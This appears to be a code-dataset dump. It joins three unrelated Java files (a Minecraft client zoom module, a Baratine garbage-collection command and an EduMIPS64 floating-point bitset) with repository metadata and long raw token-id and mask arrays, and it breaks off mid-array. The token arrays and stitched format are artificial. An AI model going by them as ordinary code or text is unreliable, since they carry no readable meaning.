if(zoomKey.get().isPressed() && !zooming) {
zoom = initialZoom.get();
prevSensitivity = mc.options.getMouseSensitivity().getValue().floatValue();
wasSmoothCameraEnabled = mc.options.smoothCameraEnabled;
zooming = true;
} else if(!zoomKey.get().isPressed() && zooming) {
zoom = 1;
mc.options.getMouseSensitivity().setValue(prevSensitivity);
mc.options.smoothCameraEnabled = wasSmoothCameraEnabled;
zooming = false;
}
if(zooming) {
if(adjustSensitivity.get()) {
if(zoom == 0) {
mc.options.getMouseSensitivity().setValue(prevSensitivity);
} else {
double newSens = prevSensitivity / (zoom * zoom);
if(newSens <= prevSensitivity && newSens >= 0) {
mc.options.getMouseSensitivity().setValue(newSens);
}
}
}
if(smoothCamera.get()) {
mc.options.smoothCameraEnabled = true;
}
if(clampZoom.get()) {
zoom = MathHelper.clamp(zoom, minZoom.get(), maxZoom.get());
}
}
if(smoothZoom.get()) {
animation.set(zoom);
animation.setDuration(animationSpeed.get());
animation.update();
zoomAmount = animation.get();
if(clampZoom.get()) {
zoomAmount = MathHelper.clamp(zoomAmount, minZoom.get(), maxZoom.get());
}
if(zoomAmount != 0) {
fov /= zoomAmount;
}
} else {
if(zoom != 0) {
fov /= zoom;
}
}
}
return fov;
}
public double getZoomAmount() {
return smoothZoom.get() ? zoomAmount : zoom;
}
@EventListener
public void onScroll(EventScroll e) {
if(!scrollToZoom.get() || !zooming) {
return;
}
e.canceled = true;
if(linearScrollSpeed.get()) {
float direction = 0;
if(e.vertical > 0) {
direction = 1;
} else if(e.vertical < 0) {
direction = -1;
}
zoom += scrollSpeed.get() * direction;
} else {
float direction = 1;
if(e.vertical > 0) {
direction = 2;
} else if(e.vertical < 0) {
direction = 0.5f;
}
zoom *= scrollSpeed.get() * direction;
}
}
}
| 6,177
|
Java
|
.java
|
Gri11edHam/HamHacks
| 14
| 2
| 0
|
2021-11-24T23:54:39Z
|
2024-05-06T20:21:16Z
|
91f190873c84fa9569caa74a724fc894b58068705d7a436007ae5df23d900dc7
|
[
1337,
3723,
51,
791,
12090,
11809,
51,
11809,
15267,
120,
51,
3490,
51,
3183,
64,
222,
222,
485,
3723,
51,
791,
12090,
11809,
51,
11809,
15267,
120,
51,
9613,
51,
6614,
64,
222,
485,
3723,
51,
791,
12090,
11809,
51,
11809,
15267,
120,
51,
9613,
51,
6614,
638,
64,
222,
485,
3723,
51,
791,
12090,
11809,
51,
11809,
15267,
120,
51,
1585,
51,
6797,
64,
222,
485,
3723,
51,
791,
12090,
11809,
51,
11809,
15267,
120,
51,
1585,
51,
5070,
51,
1167,
5606,
64,
222,
485,
3723,
51,
791,
12090,
11809,
51,
11809,
15267,
120,
51,
3490,
51,
4236,
64,
222,
485,
3723,
51,
791,
12090,
11809,
51,
11809,
15267,
120,
51,
3490,
51,
971,
2555,
64,
222,
485,
3723,
51,
791,
12090,
11809,
51,
11809,
15267,
120,
51,
3490,
51,
2478,
64,
222,
485,
3723,
51,
791,
12090,
11809,
51,
11809,
15267,
120,
51,
8129,
51,
5964,
7093,
64,
222,
485,
3723,
51,
791,
12090,
11809,
51,
11809,
15267,
120,
51,
8129,
51,
971,
7093,
64,
222,
485,
3723,
51,
791,
12090,
11809,
51,
11809,
15267,
120,
51,
8129,
51,
1936,
7093,
64,
222,
485,
3723,
51,
791,
12090,
11809,
51,
11809,
15267,
120,
51,
8129,
51,
7093,
4236,
64,
222,
485,
3723,
51,
8654,
51,
897,
51,
1049,
64,
222,
485,
3723,
51,
8654,
51,
1058,
51,
3851,
51,
5728,
2775,
64,
222,
485,
1105,
51,
9449,
51,
33387,
51,
35735,
64,
222,
222,
942,
462,
30598,
2041,
7716,
320,
3038,
221,
2072,
1175,
15478,
4236,
37440,
100,
24258,
299,
556,
15478,
4236,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
3168,
51,
2200,
742,
3038,
221,
2072,
1175,
3907,
7093,
13170,
971,
299,
556,
3907,
7093,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
11473,
971,
411,
556,
3907,
2555,
45,
35735,
51,
35735,
100,
3319,
100,
91,
490,
1423,
984,
878,
312,
3038,
221,
2072,
1175,
5132,
7093,
2838,
12750,
299,
556,
5132,
7093,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
4353,
12750,
411,
244,
57,
49,
1423,
984,
878,
49,
244,
54,
49,
244,
58,
53,
312,
3038,
221,
2072,
1175,
15478,
4236,
9997,
21137,
100,
24258,
299,
556,
15478,
4236,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
3168,
51,
5828,
742,
3038,
221,
2072,
1175,
14978,
7093,
7508,
724,
12750,
299,
556,
14978,
7093,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
37993,
12750,
411,
920,
49,
1423,
984,
878,
312,
3038,
221,
2072,
1175,
14978,
7093,
10183,
5606,
8186,
299,
556,
14978,
7093,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
8441,
5606,
8186,
411,
920,
49,
7508,
724,
12750,
422,
390,
312,
3038,
221,
2072,
1175,
5132,
7093,
7508,
8186,
299,
556,
5132,
7093,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
5828,
8186,
411,
244,
54,
49,
7508,
724,
12750,
422,
390,
49,
244,
54,
49,
244,
54,
53,
312,
3038,
221,
2072,
1175,
15478,
4236,
5052,
7116,
100,
24258,
299,
556,
15478,
4236,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
3168,
51,
23470,
742,
3038,
221,
2072,
1175,
14978,
7093,
28528,
12750,
299,
556,
14978,
7093,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
23470,
12750,
411,
878,
49,
7508,
724,
12750,
422,
390,
312,
3038,
221,
2072,
1175,
5132,
7093,
1865,
12750,
299,
556,
5132,
7093,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
907,
12750,
411,
244,
54,
49,
1423,
984,
28528,
12750,
51,
390,
365,
1293,
7508,
724,
12750,
51,
390,
1046,
244,
54,
49,
244,
57,
312,
3038,
221,
2072,
1175,
5132,
7093,
1788,
12750,
299,
556,
5132,
7093,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
1472,
12750,
411,
244,
58,
53,
49,
1423,
984,
28528,
12750,
51,
390,
365,
1293,
7508,
724,
12750,
51,
390,
1046,
244,
57,
49,
244,
58,
53,
53,
312,
3038,
221,
2072,
1175,
15478,
4236,
6998,
91,
48589,
100,
24258,
299,
556,
15478,
4236,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
3168,
51,
16986,
742,
3038,
221,
2072,
1175,
14978,
7093,
10907,
39053,
299,
556,
14978,
7093,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
13807,
39053,
411,
920,
49,
1423,
984,
878,
312,
3038,
221,
2072,
1175,
14978,
7093,
19064,
12750,
299,
556,
14978,
7093,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
22295,
12750,
411,
920,
49,
1423,
984,
878,
312,
3038,
221,
2072,
1175,
5132,
7093,
9265,
8186,
299,
556,
5132,
7093,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
9613,
8186,
411,
244,
53,
51,
58,
49,
19064,
12750,
422,
390,
49,
244,
53,
49,
244,
54,
312,
3038,
221,
2072,
1175,
14978,
7093,
19064,
7139,
299,
556,
14978,
7093,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
22295,
7139,
411,
920,
49,
1423,
984,
878,
312,
3038,
221,
942,
1175,
14978,
7093,
2922,
6812,
299,
556,
14978,
7093,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
51,
3183,
6812,
411,
878,
49,
1423,
984,
878,
312,
3038,
221,
2072,
1922,
13170,
318,
299,
920,
64,
3038,
221,
2072,
2082,
13170,
299,
244,
54,
64,
222,
221,
2072,
2082,
13170,
5956,
299,
244,
54,
64,
3038,
221,
2072,
2082,
7329,
39053,
299,
244,
53,
64,
222,
221,
2072,
1922,
1616,
30479,
7139,
4006,
299,
920,
64,
3038,
221,
2072,
1175,
19350,
9265,
299,
556,
19350,
45,
6614,
638,
51,
74,
3221,
100,
540,
100,
4256,
49,
9265,
8186,
51,
390,
1046,
878,
312,
3038,
221,
942,
30598,
365,
320,
376,
221,
5282,
45,
1049,
51,
1568,
37297,
459,
11809,
15267,
120,
51,
1663,
51,
11473,
2132,
9954,
51,
23380,
49,
556,
3907,
2555,
45,
53,
894,
376,
221,
18822,
45,
1527,
312,
376,
221,
9613,
51,
489,
12036,
45,
54,
312,
376,
221,
8129,
13779,
51,
688,
45,
53,
49,
37440,
100,
24258,
312,
376,
221,
15966,
100,
24258,
51,
688,
45,
11473,
971,
312,
376,
221,
15966,
100,
24258,
51,
688,
45,
4353,
12750,
312,
376,
221,
8129,
13779,
51,
688,
45,
54,
49,
9997,
21137,
100,
24258,
312,
376,
221,
33573,
100,
24258,
51,
688,
45,
37993,
12750,
312,
376,
221,
33573,
100,
24258,
51,
688,
45,
8441,
5606,
8186,
312,
376,
221,
33573,
100,
24258,
51,
688,
45,
5828,
8186,
312,
376,
221,
8129,
13779,
51,
688,
45,
55,
49,
5052,
7116,
100,
24258,
312,
376,
221,
48280,
100,
24258,
51,
688,
45,
23470,
12750,
312,
376,
221,
48280,
100,
24258,
51,
688,
45,
907,
12750,
312,
376,
221,
48280,
100,
24258,
51,
688,
45,
1472,
12750,
312,
376,
221,
8129,
13779,
51,
688,
45,
56,
49,
6998,
91,
48589,
100,
24258,
312,
376,
221,
26499,
48589,
100,
24258,
51,
688,
45,
13807,
39053,
312,
376,
221,
26499,
48589,
100,
24258,
51,
688,
45,
22295,
12750,
312,
376,
221,
26499,
48589,
100,
24258,
51,
688,
45,
9613,
8186,
312,
376,
221,
26499,
48589,
100,
24258,
51,
688,
45,
22295,
7139,
312,
376,
221,
26499,
48589,
100,
24258,
51,
688,
45,
3183,
6812,
312,
222,
221,
130,
3038,
221,
69,
1806,
222,
221,
942,
910,
640,
34217,
1049,
365,
320,
376,
221,
620,
2615,
51,
390,
34217,
1049,
365,
494,
332,
788,
122,
53,
53,
102,
60,
60,
39,
494,
910,
51,
1664,
4923,
51,
55,
107,
411,
19064,
12750,
51,
390,
365,
1037,
13170,
5956,
518,
13170,
312,
222,
221,
130,
26000,
221,
942,
2082,
5370,
75,
1558,
45,
2640,
315,
1558,
46,
320,
376,
221,
344,
45,
30684,
1177,
320,
374,
221,
344,
45,
11473,
971,
51,
390,
941,
316,
12728,
365,
979,
673,
11473,
318,
46,
320,
621,
221,
11473,
299,
2838,
12750,
51,
390,
492,
621,
221,
5599,
39053,
299,
16544,
51,
2200,
51,
390,
6042,
39053,
941,
6693,
941,
1832,
899,
492,
621,
221,
14505,
30479,
7139,
4006,
299,
16544,
51,
2200,
51,
22295,
7139,
4006,
64,
621,
221,
11473,
318,
299,
878,
64,
374,
221,
130,
832,
434,
3848,
11473,
971,
51,
390,
941,
316,
12728,
365,
979,
13170,
318,
46,
320,
621,
221,
11473,
299,
244,
54,
64,
621,
221,
6070,
51,
2200,
51,
390,
6042,
39053,
941,
11534,
45,
5599,
39053,
312,
621,
221,
6070,
51,
2200,
51,
22295,
7139,
4006,
299,
1616,
30479,
7139,
4006,
64,
621,
221,
11473,
318,
299,
920,
64,
374,
221,
130,
8212,
221,
344,
45,
11473,
318,
46,
320,
621,
221,
344,
45,
13807,
39053,
51,
390,
1177,
320,
596,
221,
344,
45,
11473,
630,
244,
53,
46,
320,
1397,
221,
6070,
51,
2200,
51,
390,
6042,
39053,
941,
11534,
45,
5599,
39053,
312,
596,
221,
130,
832,
320,
1397,
221,
2640,
556,
88,
1249,
299,
7329,
39053,
536,
327,
11473,
338,
13170,
312,
1397,
221,
344,
45,
909,
88,
1249,
2527,
7329,
39053,
979,
556,
88,
1249,
2394,
244,
53,
46,
320,
1504,
221,
6070,
51,
2200,
51,
390,
6042,
39053,
941,
11534,
45,
909,
88,
1249,
312,
1397,
221,
130,
596,
221,
130,
621,
221,
130,
621,
221,
344,
45,
22295,
7139,
51,
390,
1177,
320,
596,
221,
6070,
51,
2200,
51,
22295,
7139,
4006,
299,
878,
64,
621,
221,
130,
621,
221,
344,
45,
23470,
12750,
51,
390,
1177,
320,
596,
221,
11473,
299,
4189,
2775,
51,
23470,
45,
11473,
49,
1865,
12750,
51,
390,
1046,
1788,
12750,
51,
390,
1052,
621,
221,
130,
374,
221,
130,
8212,
221,
344,
45,
22295,
12750,
51,
390,
1177,
320,
621,
221,
9613,
51,
489,
45,
11473,
312,
621,
221,
9613,
51,
489,
6203,
45,
9613,
8186,
51,
390,
1052,
621,
221,
9613,
51,
1896,
492,
621,
221,
11473,
5956,
299,
9265,
51,
390,
492,
621,
221,
344,
45,
23470,
12750,
51,
390,
1177,
320,
596,
221,
11473,
5956,
299,
4189,
2775,
51,
23470,
45,
11473,
5956,
49,
1865,
12750,
51,
390,
1046,
1788,
12750,
51,
390,
1052,
621,
221,
130,
621,
221,
344,
45,
11473,
5956,
882,
244,
53,
46,
320,
596,
221,
598,
123,
14414,
13170,
5956,
64,
621,
221,
130,
374,
221,
130,
832,
320,
621,
221,
344,
45,
11473,
882,
244,
53,
46,
320,
596,
221,
598,
123,
14414,
13170,
64,
621,
221,
130,
374,
221,
130,
376,
221,
130,
376,
221,
620,
315,
1558,
64,
222,
221,
130,
3038,
221,
942,
2082,
640,
12750,
5956,
365,
320,
376,
221,
620,
19064,
12750,
51,
390,
365,
1037,
13170,
5956,
518,
13170,
64,
222,
221,
130,
3038,
221,
69,
6797,
222,
221,
942,
782,
563,
5606,
45,
1167,
5606,
503,
46,
320,
376,
221,
344,
3848,
37993,
12750,
51,
390,
365,
1293,
673,
11473,
318,
46,
320,
374,
221,
620,
64,
376,
221,
130,
376,
221,
106,
51,
104,
16928,
299,
878,
64,
376,
221,
344,
45,
8441,
5606,
8186,
51,
390,
1177,
320,
374,
221,
1832,
6999,
299,
244,
53,
64,
374,
221,
344,
45,
106,
51,
10160,
868,
244,
53,
46,
320,
621,
221,
7366,
299,
244,
54,
64,
374,
221,
130,
832,
434,
45,
106,
51,
10160,
350,
244,
53,
46,
320,
621,
221,
7366,
299,
449,
54,
64,
374,
221,
130,
374,
221,
11473,
1475,
7508,
8186,
51,
390,
365,
338,
6999,
64,
376,
221,
130,
832,
320,
374,
221,
1832,
6999,
299,
244,
54,
64,
374,
221,
344,
45,
106,
51,
10160,
868,
244,
53,
46,
320,
621,
221,
7366,
299,
244,
55,
64,
374,
221,
130,
832,
434,
45,
106,
51,
10160,
350,
244,
53,
46,
320,
621,
221,
7366,
299,
244,
53,
51,
58,
107,
64,
374,
221,
130,
374,
221,
11473,
10465,
7508,
8186,
51,
390,
365,
338,
6999,
64,
376,
221,
130,
222,
221,
130,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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2015 Caucho Technology -- all rights reserved
*
* This file is part of Resin(R)
*
* Each copy or derived work must preserve the copyright notice and this
* notice unmodified.
*
* Resin Open Source is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* Resin Open Source is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE, or any warranty
* of NON-INFRINGEMENT. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License
* along with Resin Open Source; if not, write to the
*
* Free Software Foundation, Inc.
* 59 Temple Place, Suite 330
* Boston, MA 02111-1307 USA
*
* @author Alex Rojkov
*/
package com.caucho.v5.cli.baratine;
import com.caucho.v5.cli.spi.CommandBase;
import com.caucho.v5.health.shutdown.ExitCode;
import com.caucho.v5.util.L10N;
public class GcCommandBaratine extends CommandBase<ArgsCli>
{
private static final L10N L = new L10N(GcCommandBaratine.class);
@Override
protected void initBootOptions()
{
super.initBootOptions();
}
@Override
public String getDescription()
{
return "forces a gc";
}
@Override
protected ExitCode doCommandImpl(ArgsCli args)
{
System.gc();
return ExitCode.OK;
}
}
| 1,586
|
Java
|
.java
|
baratine/baratine
| 66
| 13
| 16
|
2016-03-01T01:52:32Z
|
2021-11-09T09:19:07Z
|
51ba176f1f938e1e5bed99fbf895edc552a2c0023e39244d773894ea2486774f
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
54,
62,
62,
61,
50,
55,
53,
54,
58,
409,
4474,
1525,
21893,
790,
1187,
4760,
5225,
222,
338,
222,
338,
1369,
822,
458,
1760,
451,
1955,
285,
45,
87,
46,
222,
338,
222,
338,
11112,
1948,
575,
12015,
1409,
2315,
24081,
341,
5550,
5410,
480,
477,
222,
338,
5410,
725,
10492,
51,
222,
338,
222,
338,
1955,
285,
3944,
6391,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
64,
3173,
1522,
244,
55,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1955,
285,
3944,
6391,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
49,
575,
1364,
14319,
222,
338,
451,
11893,
50,
14012,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
456,
1851,
222,
338,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
1955,
285,
3944,
6391,
64,
434,
666,
49,
2886,
391,
341,
222,
338,
222,
338,
280,
7834,
3870,
7120,
49,
6367,
51,
222,
338,
283,
58,
62,
38849,
17693,
49,
25280,
244,
56,
56,
53,
222,
338,
280,
25006,
49,
13083,
244,
53,
55,
54,
54,
54,
50,
54,
56,
53,
60,
244,
15067,
222,
338,
222,
338,
496,
2133,
21199,
11792,
12568,
1558,
222,
588,
222,
222,
1337,
785,
51,
1192,
122,
1525,
51,
123,
58,
51,
4556,
51,
1652,
288,
501,
64,
222,
222,
485,
785,
51,
1192,
122,
1525,
51,
123,
58,
51,
4556,
51,
10787,
51,
2037,
1778,
64,
222,
485,
785,
51,
1192,
122,
1525,
51,
123,
58,
51,
9864,
51,
16075,
51,
39803,
64,
222,
485,
785,
51,
1192,
122,
1525,
51,
123,
58,
51,
1058,
51,
81,
54,
53,
83,
64,
222,
222,
942,
462,
590,
104,
2037,
2914,
288,
501,
2041,
5730,
1778,
65,
3097,
14793,
67,
222,
128,
353,
964,
924,
1175,
517,
54,
53,
83,
517,
299,
556,
517,
54,
53,
83,
45,
32892,
2037,
2914,
288,
501,
51,
842,
312,
736,
496,
1806,
353,
2532,
782,
3238,
14189,
2045,
365,
353,
320,
303,
2615,
51,
1683,
14189,
2045,
492,
353,
339,
736,
496,
1806,
353,
581,
910,
44685,
365,
353,
320,
303,
461,
332,
39186,
331,
16950,
884,
353,
339,
736,
496,
1806,
353,
2532,
15446,
1241,
764,
2037,
3499,
45,
3097,
14793,
2194,
46,
353,
320,
303,
1189,
51,
9285,
492,
465,
461,
15446,
1241,
51,
2966,
64,
353,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 463
| true
| 70.617907
| true
| true
|
BitSet64FP.java
|
/FileExtraction/Java_unseen/EduMIPS64_edumips64/src/main/java/org/edumips64/core/fpu/BitSet64FP.java
|
/* BitSet64FP.java
*
* This class models a 64-bit array, useful for floating point registers and memory representation.
* (c) 2006 Massimo Trubia
*
* This file is part of the EduMIPS64 project, and is released under the GNU
* General Public License.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
package org.edumips64.core.fpu;
import org.edumips64.core.FCSRRegister;
import org.edumips64.core.FixedBitSet;
import org.edumips64.core.IrregularStringOfBitsException;
import org.edumips64.core.IrregularWriteOperationException;
/** This class models a 64-bit array, useful for floating point registers
* @author Massimo Trubia
* */
public class BitSet64FP extends FixedBitSet {
private FPInstructionUtils fpInstructionUtils;
/** Creates a default new instance of BitSet64FP. */
public BitSet64FP() {
super(64);
fpInstructionUtils = new FPInstructionUtils(new FCSRRegister());
}
/** Writes a floating point double precision number into this FixedBitSet: the value to be written must be in the range
* [A=-1.797693134862315708145274237317E308,B=-4.9406564584124654417656879286822E-324] U [C=4.9406564584124654417656879286822E-324, D=1.797693134862315708145274237317E308].
* For values that belong to ]-Infinity,A[ U ]D,+ Infinity[ an overflow exception will be thrown, on the contrary
* values that belong to ]B,C[ an underflow exception will be thrown.
* @param value double number to be written: must be on the format "2.345" or "2345E-3"
* @throws FPUnderflowException,FPOverflowException, IrregularWriteOperationException,FPInvalidOperationException
*/
public void writeDouble(double value) throws FPUnderflowException, FPOverflowException, FPInvalidOperationException, IrregularWriteOperationException, IrregularStringOfBitsException {
this.reset(false);
String bits = fpInstructionUtils.doubleToBin(value + "");
try {
this.setBits(bits, 0);
} catch (IrregularStringOfBitsException e) {
e.printStackTrace();
throw new IrregularWriteOperationException();
}
}
/**Returns a string with a double value or the name of a special value
* it is recommended the use of this method only for the visualisation of the double value because it may return an alphanumeric value
* @return the double value or the special values "Quiet NaN","Signaling NaN", "Positive infinity", "Negative infinity","Positive zero","Negative zero"
*/
public String readDouble() {
return FPInstructionUtils.binToDouble(this.getBinString());
}
}
| 3,206
|
Java
|
.java
|
EduMIPS64/edumips64
| 158
| 56
| 59
|
2011-09-05T08:43:04Z
|
2024-05-09T05:15:28Z
|
ba61c0ac4d0da5d2f1fd6f92482a5d0af22bb4630ddd0d458e0faec71cfcd197
|
[
1127,
7600,
903,
59,
57,
9544,
51,
1874,
222,
338,
222,
338,
1369,
462,
4590,
331,
244,
59,
57,
50,
2417,
1437,
49,
6386,
456,
15398,
2282,
17502,
480,
4137,
10323,
51,
222,
338,
327,
104,
46,
244,
55,
53,
53,
59,
28023,
13644,
1588,
375,
923,
222,
338,
222,
338,
1369,
822,
458,
1760,
451,
341,
535,
1815,
82,
23989,
59,
57,
2091,
49,
480,
458,
12553,
1549,
341,
6994,
222,
338,
6153,
5062,
1196,
51,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
64,
3173,
1522,
244,
55,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
222,
338,
7120,
49,
6367,
4345,
244,
58,
62,
38849,
17693,
49,
25280,
244,
56,
56,
53,
49,
25006,
49,
13083,
280,
53,
55,
54,
54,
54,
50,
54,
56,
53,
60,
244,
15067,
222,
588,
222,
1337,
1105,
51,
337,
397,
9524,
59,
57,
51,
1284,
51,
107,
4059,
64,
222,
222,
485,
1105,
51,
337,
397,
9524,
59,
57,
51,
1284,
51,
75,
20959,
4339,
64,
222,
485,
1105,
51,
337,
397,
9524,
59,
57,
51,
1284,
51,
8223,
4596,
903,
64,
222,
485,
1105,
51,
337,
397,
9524,
59,
57,
51,
1284,
51,
23763,
16457,
671,
1436,
8738,
1002,
64,
222,
485,
1105,
51,
337,
397,
9524,
59,
57,
51,
1284,
51,
23763,
16457,
2553,
14797,
64,
222,
222,
1350,
1369,
462,
4590,
331,
244,
59,
57,
50,
2417,
1437,
49,
6386,
456,
15398,
2282,
17502,
222,
338,
496,
2133,
28023,
13644,
1588,
375,
923,
222,
338,
588,
222,
222,
942,
462,
7600,
903,
59,
57,
9544,
2041,
10123,
4596,
903,
320,
353,
964,
25154,
9592,
2769,
11866,
9592,
2769,
64,
736,
1041,
9308,
331,
1263,
556,
1998,
451,
7600,
903,
59,
57,
9544,
51,
588,
353,
581,
7600,
903,
59,
57,
9544,
365,
320,
303,
2615,
45,
59,
57,
312,
303,
11866,
9592,
2769,
299,
556,
25154,
9592,
2769,
45,
909,
525,
20959,
4339,
1052,
353,
339,
736,
1041,
33807,
331,
15398,
2282,
2082,
12612,
1470,
2012,
477,
10123,
4596,
903,
63,
341,
804,
391,
545,
6658,
2315,
545,
347,
341,
2189,
682,
338,
447,
70,
6626,
54,
51,
60,
62,
60,
59,
62,
56,
54,
56,
57,
61,
59,
55,
56,
54,
58,
60,
53,
61,
54,
57,
58,
55,
60,
57,
55,
56,
60,
56,
54,
60,
74,
56,
53,
61,
49,
71,
6626,
57,
51,
62,
57,
53,
59,
58,
59,
57,
